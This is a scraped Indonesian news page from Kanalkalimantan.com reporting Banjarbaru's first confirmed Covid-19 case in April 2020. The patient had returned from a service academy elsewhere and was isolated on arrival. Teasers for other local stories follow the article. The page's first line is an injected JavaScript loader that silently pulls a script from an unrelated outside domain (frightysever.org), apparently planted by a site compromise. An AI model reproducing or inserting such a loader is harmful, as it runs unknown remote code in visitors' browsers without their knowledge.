(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Positif Covid-19 di Banjarbaru, Pasien Usai Tempuh Pendidikan Kedinasan di Luar Daerah


KANALKALIMANTAN.COM, BANJARBARU – Rilis update terbaru jumlah kasus pasien positif terpapar virus corona, Minggu (5/4/2020) sore, menggemparkan masyarakat Kalimantan Selatan. Bagaimana tidak, jumlah kasus bertambah dua kali lipat yang sebelumnya hanya 8 kasus, kini menjadi 16 kasus.

Menurut data yang dikeluarkan oleh Gugus Tugas P3 Covid-19 Kalimantan Selatan, penambahan jumlah kasus signifikan terjadi di Kota Banjarmasin, yakni sebanyak 5 kasus. Sehingga, jumlah pasien yang dinyatakan positif terpapar virus corona rujukan kota Banjarmasin ada sebanyak 10 kasus.

Fakta lain yang tak kalah mengejutkan ialah untuk pertama kalinya dari kota Banjarbaru ada satu kasus yang terkonfirmasi positif virus corona. Hal ini tentu sangat membingungkan, mengingat selama ini di Banjarbaru kebanyakan masyarakatnya hanya berstatus Orang Dalam Pemantauan (ODP).

Jumlah ODP dari Banjarbaru memang paling tinggi se-Kalsel, yakni sebanyak 205 orang. Namun, sampai saat ini belum ada satupun ODP dari Banjarbaru yang statusnya naik menjadi Pasien Dalam Pengawasan (PDP).

Baca juga: BREAKING NEWS. Kasus Positif Covid-19 di Kalsel Melonjak 16 Orang, 1 Kasus Positif Pertama di Banjarbaru

Lantas mengapa secara tiba-tiba mencuat satu kasus positif dari Banjarbaru?

Menelisik hal ini, Kanalkalimantan.com mencoba mengkonfirmasi kepada Kepala Dinas Kesehatan Kota Banjarbaru, Rizana Mirza. Dikatakannya, bahwa benar satu orang warga asli kota Banjarbaru dinyatakan positif terpapar virus corona. Namun, orang tersebut berasal dari luar daerah.

“Sebenarnya, bukan kasus asli dari Banjarbaru karena yang bersangkutan ini dari luar daerah. Dia  menempuh pendidikan di sebuah institusi pendidikan kedinasan di luar pulau Kalimantan,” ujar Rizana.

Selain itu, dijelaskan juga bahwa warga kota Banjarbaru tersebut dinyatakan terpapar virus corona setelah menjalani rapid test yang telah dilakukan sejak dua hari yang lalu dan langsung diisolasi oleh institusi pendidikan kedinasan yang bersangkutan. Rizana memastikan bahwa tidak ada kontak yang terjadi dengan masyarakat yang ada di kota Banjarbaru.

“Karena yang bersangkutan saat kembali ke sini langsung diisolasi. Jadi, tidak ada kontak dengan masyarakat yang ada di Banjarbaru. Yang bersangkutan saat ini dirawat di Rumah Sakit Ulin di Kota Banjarmasin,” pungkas Kadinkes. (kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

35 detik ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

3 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

18 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

19 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

20 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

23 jam ago

This website uses cookies.